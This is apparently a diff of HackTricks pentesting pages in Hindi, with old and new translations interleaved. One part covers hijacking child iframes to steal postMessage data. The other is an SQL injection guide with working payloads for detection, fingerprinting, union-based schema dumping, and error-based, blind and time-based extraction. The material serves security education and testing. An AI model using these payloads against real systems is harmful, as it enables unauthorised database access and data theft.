* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## बच्चा आईफ्रेम के स्थानों को बदलना
## Changing child iframes locations
[**इस व्राइटअप**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) के अनुसार, यदि आप एक वेबपेज को आईफ्रेम कर सकते हैं जिसमें X-Frame-Header नहीं है और जिसमें एक और आईफ्रेम है, तो आप **उस बच्चा आईफ्रेम का स्थान बदल सकते हैं**।
According to [**this writeup**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), यदि आप बिना X-Frame-Header के एक वेबपेज को iframe कर सकते हैं जिसमें एक और iframe है, तो आप **उस बच्चे iframe का स्थान बदल सकते हैं**।
उदाहरण के लिए, यदि abc.com के पास efg.com आईफ्रेम है और abc.com के पास X-Frame हेडर नहीं है, तो मैं efg.com को evil.com cross origin में बदल सकता हूं, **`frames.location`** का उपयोग करके।
उदाहरण के लिए, यदि abc.com में efg.com iframe है और abc.com में X-Frame header नहीं है, तो मैं efg.com को evil.com क्रॉस ओरिजिन में बदल सकता हूँ, **`frames.location`** का उपयोग करके।
यह विशेष रूप से **पोस्टमैसेज** में उपयुक्त है क्योंकि यदि कोई पेज **वाइल्डकार्ड** जैसे `windowRef.postmessage("","*")` का उपयोग करके संवेदनशील डेटा भेज रहा है, तो संबंधित आईफ्रेम (बच्चा या माता) का स्थान **हमलावर कंट्रोल किए गए स्थान पर बदलना** संभव है और उस डेटा को चुरा सकते हैं।
यह विशेष रूप से **postMessages** में उपयोगी है क्योंकि यदि एक पृष्ठ संवेदनशील डेटा भेज रहा है जो **wildcard** जैसे `windowRef.postmessage("","*")` का उपयोग कर रहा है, तो **हम संबंधित iframe (बच्चा या माता-पिता) का स्थान एक हमलावर द्वारा नियंत्रित स्थान पर बदल सकते हैं** और उस डेटा को चुरा सकते हैं।
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
@ -35,14 +38,17 @@ window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
</script>
</html>
```
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) और **ट्विटर** पर मुझे **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**।**
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) पर पीआर जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,30 +1,34 @@
# SQL Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या **मुझे** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** का** **अनुसरण** करें।
* **हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उबाऊ मिलन स्थल है।
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।
{% embed url="https://www.rootedcon.com/" %}
## SQL Injection क्या है?
## SQL injection क्या है?
**SQL injection** एक सुरक्षा दोष है जो हमलावदाताओं को एक एप्लिकेशन के डेटाबेस क्वेरी में **हस्तक्षेप करने** की अनुमति देता है। यह कमजोरी हमलावदाताओं को उन डेटा तक पहुंचने की अनुमति देती है जिसका उन्हें पहुंचना नहीं चाहिए, जैसे अन्य उपयोगकर्ताओं की जानकारी या ऐसा कोई भी डेटा जिसका एप्लिकेशन पहुंच सकता है। ऐसे कार्रवाई एप्लिकेशन के कार्यात्मकता या सामग्री में स्थायी परिवर्तन या सर्वर का कंप्रमाइज़ या सेवा की नापसंदी का कारण बन सकती है
एक **SQL injection** एक सुरक्षा दोष है जो हमलावरों को एक एप्लिकेशन के **डेटाबेस क्वेरी में हस्तक्षेप** करने की अनुमति देता है। यह भेद्यता हमलावरों को **देखने**, **संशोधित करने** या **हटाने** की अनुमति दे सकती है, जो उन्हें नहीं देखनी चाहिए, जिसमें अन्य उपयोगकर्ताओं की जानकारी या कोई भी डेटा शामिल है जिसे एप्लिकेशन एक्सेस कर सकता है। ऐसे कार्य एप्लिकेशन की कार्यक्षमता या सामग्री में स्थायी परिवर्तन या यहां तक कि सर्वर का समझौता या सेवा का इनकार कर सकते हैं
## प्रवेश बिंदु का पता लगाना
## प्रवेश बिंदु पहचान
जब एक साइट **SQL इंजेक्शन (SQLi)** के लिए विकल्पित दिखती है क्योंकि असामान्य सर्वर प्रतिक्रियाएँ SQLi संबंधित इनपुट्स को, **पहला कदम** यह है कि यह समझना है कि कैसे **क्वेरी में डेटा इंजेक्ट करें बिना इसे बिगाड़े**। इसके लिए मौजूदा संदर्भ से **निकलने की विधि** को पहचानना आवश्यक है। ये कुछ उपयोगी उदाहरण हैं:
जब एक साइट **SQL injection (SQLi)** के लिए **संवेदनशील** प्रतीत होती है, तो SQLi-संबंधित इनपुट के प्रति असामान्य सर्वर प्रतिक्रियाओं के कारण, **पहला कदम** यह समझना है कि **क्वेरी में डेटा को बिना बाधित किए कैसे इंजेक्ट करें**। इसके लिए वर्तमान संदर्भ से **सफलता से बचने** के तरीके की पहचान करना आवश्यक है।
ये कुछ उपयोगी उदाहरण हैं:
```
[Nothing]
'
@ -37,9 +41,9 @@
"))
`))
```
तो, आपको यह जानना चाहिए कि **क्वेरी में त्रुटियाँ कैसे ठीक की जाएं**। क्वेरी को ठीक करने के लिए आप **इनपुट** डेटा दे सकते हैं ताकि **पिछली क्वेरी नए डेटा को स्वीकार करे**, या फिर आप अपना डेटा **इनपुट** कर सकते हैं और **एक टिप्पणी प्रतीक को अंत में जोड़ सकते हैं**।
फिर, आपको यह जानने की आवश्यकता है कि **क्वेरी को कैसे ठीक करें ताकि कोई त्रुटियाँ न हों**। क्वेरी को ठीक करने के लिए आप **डेटा इनपुट** कर सकते हैं ताकि **पिछली क्वेरी नए डेटा को स्वीकार कर सके**, या आप बस **अपना डेटा इनपुट** कर सकते हैं और **अंत में एक टिप्पणी प्रतीक जोड़ सकते हैं**।
_ध्यान दें कि अगर आप त्रुटि संदेश देख सकते हैं या आपको यह पता चल सकता है कि कब क्वेरी काम कर रही है और कब नहीं, तो यह चरण आसान हो जाएगा।_
_ध्यान दें कि यदि आप त्रुटि संदेश देख सकते हैं या जब क्वेरी काम कर रही है और जब यह काम नहीं कर रही है तो आप अंतर देख सकते हैं, तो यह चरण अधिक आसान होगा।_
### **टिप्पणियाँ**
```sql
@ -67,27 +71,27 @@ SQLite
HQL
HQL does not support comments
```
### तार्किक परिचय की पुष्टि
### Confirming with logical operations
एक SQL इन्जेक्शन संवेदनशीलता की पुष्टि करने का एक विश्वसनीय तरीका **तार्किक परिचय** को क्रियान्वित करना है और अपेक्षित परिणामों का अवलोकन करना। उदाहरण के लिए, एक GET पैरामीटर जैसे `?username=Peter` जब `?username=Peter' या '1'='1` में संशोधित किया जाता है और वास्तविक सामग्री प्राप्त होती है, तो यह एक SQL इन्जेक्शन संवेदनशीलता की निश्चित संकेत है।
SQL injection vulnerability की पुष्टि करने के लिए एक विश्वसनीय विधि **logical operation** को निष्पादित करना और अपेक्षित परिणामों का अवलोकन करना है। उदाहरण के लिए, एक GET पैरामीटर जैसे `?username=Peter` को `?username=Peter' या '1'='1` में संशोधित करने पर समान सामग्री उत्पन्न होना SQL injection vulnerability का संकेत देता है।
इसी तरह, **गणितीय परिचय** का अनुप्रयोग एक प्रभावी पुष्टि तकनीक के रूप में काम करता है। उदाहरण के लिए, यदि `?id=1` और `?id=2-1` तक पहुँचने पर समान परिणाम प्रकट होते हैं, तो यह SQL इन्जेक्शन का संकेत है।
इसी तरह, **mathematical operations** का उपयोग एक प्रभावी पुष्टि तकनीक के रूप में किया जाता है। उदाहरण के लिए, यदि `?id=1` और `?id=2-1` तक पहुँचने पर समान परिणाम उत्पन्न होते हैं, तो यह SQL injection का संकेत है।
तार्किक परिचय की पुष्टि करने वाले उदाहरण:
Examples demonstrating logical operation confirmation:
```
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
```
यह शब्द-सूची बनाई गई थी ताकि प्रस्तावित तरीके से **SQL इन्जेक्शन की पुष्टि** करने का प्रयास किया जा सके:
यह शब्द-सूची SQLinjections को प्रस्तावित तरीके से **पुष्टि करने** के लिए बनाई गई थी:
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
### समय क पुष्टि करना
### समय के साथ पुष्टि करना
कुछ मामलों में आपको यह **कोई भी परिवर्तन नहीं दिखाई देगी** जिसे आप जांच कर रहे हैं। इसलिए, **ब्लाइंड SQL इन्जेक्शन का पता लगाने** का एक अच्छा तरीका है कि डेटाबेस को कार्रवाई करने के लिए बनाए रखें और यह पृष्ठ लोड होने में **समय पर प्रभाव** होगा।\
इसलिए, हम SQL क्वेरी में एक ऑपरेशन जो पूरा होने में बहुत समय लेगा, जोड़ने जा रहे हैं:
कुछ मामलों में आप **पृष्ठ पर कोई परिवर्तन नहीं देखेंगे** जिसे आप परीक्षण कर रहे हैं। इसलिए, **ब्लाइंड SQL injections** का पता लगाने का एक अच्छा तरीका है कि DB को क्रियाएँ करने के लिए मजबूर करना और इसका **प्रभाव समय** पर पड़ेगा जो पृष्ठ को लोड करने में लगेगा।\
इसलिए, हम SQL क्वेरी में एक ऑपरेशन को जोड़ने जा रहे हैं जो पूरा होने में बहुत समय लेगा:
```
MySQL (string concat and logical ops)
1' + sleep(10)
@ -109,11 +113,11 @@ SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
ई मामलों में **नींद फ़ंक्शनों की अनुमति नहीं होगी**। तब, इन फ़ंक्शनों का उपयोग करने की बजाय आप क्वेरी को **जटिल ऑपरेशन करने** के लिए कर सकते हैं जो कई सेकंड ले सकता है। _इन तकनीकों के उदाहरणों को प्रत्येक प्रौद्योगिकी पर अलग-अलग टिप्पणी किया जाएगा।_
ुछ मामलों में **sleep functions की अनुमति नहीं होगी**। फिर, उन फ़ंक्शनों का उपयोग करने के बजाय, आप क्वेरी को **जटिल ऑपरेशंस** करने के लिए बना सकते हैं जो कई सेकंड लेगी। _इन तकनीकों के उदाहरणों को प्रत्येक तकनीक पर अलग से टिप्पणी की जाएगी (यदि कोई हो)_
### पीछे-एंड की पहचान
### बैक-एंड की पहचान करना
पीछे-एंड की पहचान करने का सबसे अच्छा तरीका विभिन्न पीछे-एंड के फ़ंक्शनों को क्रियान्वित करने की कोशिश करना है। आप पिछले खंड के _**नींद**_ **फ़ंक्शन** या इन्हें उपयोग कर सकते हैं (टेबल से [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
बैक-एंड की पहचान करने का सबसे अच्छा तरीका विभिन्न बैक-एंड के फ़ंक्शंस को निष्पादित करने की कोशिश करना है। आप पिछले अनुभाग के _**sleep**_ **functions** या इनका उपयोग कर सकते हैं (तालिका [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
@ -141,27 +145,27 @@ SQLite
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
यदि आपके पास क्वेरी के आउटपुट तक पहुंच है, तो आप इसे **डेटाबेस का संस्करण प्रिंट** करने के लिए बना सकते हैं।
Also, if you have access to the output of the query, you could make it **print the version of the database**.
{% hint style="info" %}
एक आगे हम विभिन्न प्रकार की SQL Injection का उपयोग करने के विभिन्न तरीके पर चर्चा करेंगे। हम MySQL का उदाहरण लेंगे।
एक निरंतरता है जिसमें हम विभिन्न प्रकार के SQL Injection का शोषण करने के लिए विभिन्न विधियों पर चर्चा करने जा रहे हैं। हम उदाहरण के रूप में MySQL का उपयोग करेंगे।
{% endhint %}
### पोर्टस्विगर के साथ पहचान
### Identifying with PortSwigger
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
## Union Based का शोधन
## Exploiting Union Based
### स्तंभों की संख्या का पता लगाना
### Detecting number of columns
यदि आप क्वेरी के आउटपुट देख सकते हैं तो इसे इसका श्रेष्ठ तरीका उसका शोधन करने के लिए है।\
सबसे पहले, हमें यह जानने की आवश्यकता है कि **प्रारंभिक अनुरोध** कितने **स्तंभ** वापस कर रहा है। यह इसलिए है क्योंकि **दोनों क्वेरी को समान संख्या के स्तंभ वापस करना होगा**।\
इस उद्देश्य के लिए आम तौर पर दो विधियाँ प्रयोग की जाती हैं:
If you can see the output of the query this is the best way to exploit it.\
First of all, हमें यह पता लगाना है कि **प्रारंभिक अनुरोध** कितने **स्तंभ** वापस कर रहा है। इसका कारण यह है कि **दोनों प्रश्नों को समान संख्या में स्तंभ लौटाना चाहिए**।\
इस उद्देश्य के लिए आमतौर पर दो विधियों का उपयोग किया जाता है:
#### क्रम/समूह द्वारा
#### Order/Group by
क्वेरी में स्तंभों की संख्या निर्धारित करने के लिए, **ORDER BY** या **GROUP BY** शर्तों में उपयोग किए गए संख्या को बढ़ाते हुए एक गलत प्रतिक्रिया प्राप्त होने तक बदलें। SQL के भीतर **GROUP BY** और **ORDER BY** की विशिष्ट कार्यक्षमताओं के बावजूद, दोनों क्वेरी के स्तंभों की गणना के लिए ये एकसमान रूप से प्रयोग किए जा सकते हैं।
To determine the number of columns in a query, incrementally adjust the number used in **ORDER BY** or **GROUP BY** clauses until a false response is received. Despite the distinct functionalities of **GROUP BY** and **ORDER BY** within SQL, both can be utilized identically for ascertaining the query's column count.
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
@ -179,17 +183,17 @@ SQLite
```
#### UNION SELECT
चुनें और और अधिक null मान्यताएँ तक जब तक क्वेरी सही न हो जाए:
जांच सही होने तक अधिक से अधिक नल मान चुनें:
```sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_आपको कई मामलों में `null` मान का उपयोग करना चाहिए क्योंकि कुछ मामलों में क्वेरी के दोनों ओर की स्तंभों के प्रकार समान होना चाहिए और हर मामले में `null` मान मान्य है।_
_आपको `null` मानों का उपयोग करना चाहिए क्योंकि कुछ मामलों में क्वेरी के दोनों पक्षों के कॉलम का प्रकार समान होना चाहिए और null हर मामले में मान्य है।_
### डेटाबेस नाम, तालिका नाम और स्तंभ नामों को निकालें
### डेटाबेस नाम, तालिका नाम और कॉलम नाम निकालें
अगले उदाहरणों में हम सभी डेटाबेसों का नाम, एक डेटाबेस की तालिका का नाम, तालिका के स्तंभों का नाम प्राप्त करने जा रहे हैं:
अगले उदाहरणों में हम सभी डेटाबेस के नाम, एक डेटाबेस की तालिका का नाम, तालिका के कॉलम नाम निकालने जा रहे हैं:
```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
@ -200,67 +204,67 @@ _आपको कई मामलों में `null` मान का उप
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_हर विभिन्न डेटाबेस पर इस डेटा को खोजने के लिए एक विभिन्न तरीका है, लेकिन यह हमेशा एक ही मेथडोलॉजी होती है।_
_हर अलग-अलग डेटाबेस पर इस डेटा को खोजने का एक अलग तरीका है, लेकिन यह हमेशा एक ही पद्धति होती है।_
## छिपी हुई यूनियन आधारित शोध
## छिपे हुए यूनियन आधारित का शोषण
जब क्वेरी का आउटपुट दिखाई देता है, लेकिन यूनियन आधारित इन्जेक्शन संभावनाशील नहीं लगता है, तो इसका मतलब है कि एक **छिपी हुई यूनियन आधारित इन्जेक्शन** मौजूद है। यह परिदृश्य अक्सर एक अंधा इन्जेक्शन स्थिति की ओर ले जाता है। एक अंधा इन्जेक्शन को यूनियन आधारित में बदलने के लिए, बैकएंड पर निष्क्रिय क्वेरी को समझना आवश्यक है।
जब एक क्वेरी का आउटपुट दिखाई देता है, लेकिन यूनियन-आधारित इंजेक्शन असंभव लगता है, तो यह **छिपे हुए यूनियन-आधारित इंजेक्शन** की उपस्थिति का संकेत देता है। यह परिदृश्य अक्सर एक ब्लाइंड इंजेक्शन स्थिति की ओर ले जाता है। एक ब्लाइंड इंजेक्शन को यूनियन-आधारित में बदलने के लिए, बैकएंड पर निष्पादित क्वेरी को पहचानना आवश्यक है।
इसे आपके लक्ष्य डेटाबेस प्रबंधन सिस्टम (DBMS) के डिफ़ॉल्ट तालिकाओं के साथ अंधा इन्जेक्शन तकनीकों का उपयोग करके प्राप्त किया जा सकता है। इन डिफ़ॉल्ट तालिकाओं को समझने के लिए, लक्ष्य DBMS की दस्तावेज़ीकरण पर सलाह दी जाती है।
यह आपके लक्षित डेटाबेस प्रबंधन प्रणाली (DBMS) के लिए विशिष्ट डिफ़ॉल्ट तालिकाओं के साथ ब्लाइंड इंजेक्शन तकनीकों का उपयोग करके किया जा सकता है। इन डिफ़ॉल्ट तालिकाओं को समझने के लिए, लक्षित DBMS की दस्तावेज़ीकरण की सलाह दी जाती है।
एक बार क्वेरी निकाल ली गई है, मूल क्वेरी को सुरक्षित रूप से बंद करने के लिए अपने पेलोड को अनुकूलित करना आवश्यक है। इसके बाद, अपने पेलोड में एक यूनियन क्वेरी जोड़ी जाती है, जिससे नए उपलब्ध यूनियन आधारित इन्जेक्शन का शोषण सुविधा प्रदान की जाती है।
एक बार जब क्वेरी निकाली जाती है, तो आपके पेलोड को मूल क्वेरी को सुरक्षित रूप से बंद करने के लिए अनुकूलित करना आवश्यक है। इसके बाद, आपके पेलोड में एक यूनियन क्वेरी जोड़ी जाती है, जो नए सुलभ यूनियन-आधारित इंजेक्शन के शोषण की सुविधा प्रदान करती है।
अधिक व्यापक अनुभव के लिए, [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) पर उपलब्ध पूरे लेख का संदर्भ देखें।
अधिक व्यापक अंतर्दृष्टि के लिए, [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) पर उपलब्ध पूर्ण लेख को देखें।
## त्रुटि आधारित शोध
## त्रुटि आधारित का शोषण
यदि किसी कारणवश आप **क्वेरी** का **आउटपुट** नहीं देख सकते हैं, लेकिन आप **त्रुटि संदेश** देख सकते हैं, तो आप इस त्रुटि संदेश का उपयोग करके डेटाबेस से डेटा को **बाहर निकाल** सकते हैं।\
यूनियन आधारित शोधन में एक ही फ्लो का पालन करते हुए आप डेटाबेस को डंप कर सकते हैं।
यदि किसी कारणवश आप **क्वेरी** का **आउटपुट** नहीं देख सकते हैं लेकिन आप **त्रुटि संदेश** देख सकते हैं, तो आप इन त्रुटि संदेशों का उपयोग करके डेटाबेस से डेटा को **एक्स-फिल्ट्रेट** कर सकते हैं।\
यूनियन आधारित शोषण में समान प्रवाह का पालन करते हुए, आप DB को डंप करने में सक्षम हो सकते हैं।
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## ब्लाइंड SQLi का शोषण
## Exploiting Blind SQLi
इस मामले में आप क्वेरी या त्रुटियों के परिणाम नहीं देख सकते हैं, लेकिन आप यह पहचान सकते हैं कि क्वेरी एक सच्चा या एक गलत प्रतिक्रिया वापस करती है क्योंकि पृष्ठ पर विभिन्न सामग्री है।\
इस मामले में, आप उस व्यवहार का दुरुपयोग कर सकते हैं ताकि डेटाबेस को एक चार से चार डंप कर सकें:
इस मामले में आप क्वेरी के परिणाम या त्रुटियों को नहीं देख सकते, लेकिन आप **distinguished** कर सकते हैं जब क्वेरी **return** एक **true** या **false** प्रतिक्रिया क्योंकि पृष्ठ पर विभिन्न सामग्री होती है।\
इस मामले में, आप उस व्यवहार का दुरुपयोग करके डेटाबेस को अक्षर दर अक्षर डंप कर सकते हैं:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## त्रुटि अंधा SQLi का शोषण
## Exploiting Error Blind SQLi
यह **पहले जैसा ही मामला है** लेकिन पूछे गए प्रश्न से सच/झूठ का अंतर करने की बजाय आप एसक्यूएल क्वेरी में त्रुटि को पहचान सकते हैं या नहीं (शायद HTTP सर्वर क्रैश हो जाए)। इसलिए, इस मामले में आप प्रत्येक बार सही ढंग से अक्षर की अनुमान लगाते समय एक एसक्यूएल त्रुटि को मजबूर कर सकते हैं:
यह **पहले के समान मामला है** लेकिन आप क्वेरी से सही/गलत प्रतिक्रिया के बीच **भेद करने** के बजाय SQL क्वेरी में **त्रुटि** है या नहीं (शायद क्योंकि HTTP सर्वर क्रैश हो जाता है) के बीच **भेद कर सकते हैं**। इसलिए, इस मामले में आप हर बार SQLerror को मजबूर कर सकते हैं जब आप सही अक्षर का अनुमान लगाते हैं:
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## टाइम बेस्ड SQLi का शोषण
## Exploiting Time Based SQLi
इस मामले में किसी भी तरह से क्वेरी के प्रतिक्रिया को पृष्ठ के संदर्भ पर भिन्न करने का कोई तरीका नहीं है। लेकिन, यदि अनुमानित वर्ण सही है तो पृष्ठ को लोड करने में अधिक समय लगा सकते हैं। हम पहले ही इस तकनीक का उपयोग करते हुए देख चुके हैं ताकि [एक SQLi सुरक्षितता दोष की पुष्टि की जा सके](./#confirming-with-timing)
इस मामले में **कोई** तरीका **नहीं है** कि **प्रतिक्रिया** को पृष्ठ के संदर्भ के आधार पर **अलग** किया जा सके। लेकिन, आप पृष्ठ को **लोड होने में अधिक समय** ले सकते हैं यदि अनुमानित वर्ण सही है। हमने पहले इस तकनीक का उपयोग [SQLi vuln की पुष्टि करने के लिए](./#confirming-with-timing) देखा है
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## Stacked Queries
आप स्टैक्ड क्वेरीज का उपयोग करके **एकाधिक क्वेरीज को लगातार निष्पादित** कर सकते हैं। ध्यान दें कि जब भीतरी क्वेरीज निष्पादित होती हैं, **परिणाम** **एप्लिकेशन को वापस नहीं भेजे जाते**। इसलिए यह तकनीक मुख्य रूप से **अंधे सुरक्षा दोषों** के संबंध में उपयोगी है जहाँ आप एक दूसरी क्वेरी का उपयोग करके DNS लुकअप, शर्तमुक्त त्रुटि, या समय देरी को ट्रिगर कर सकते हैं।
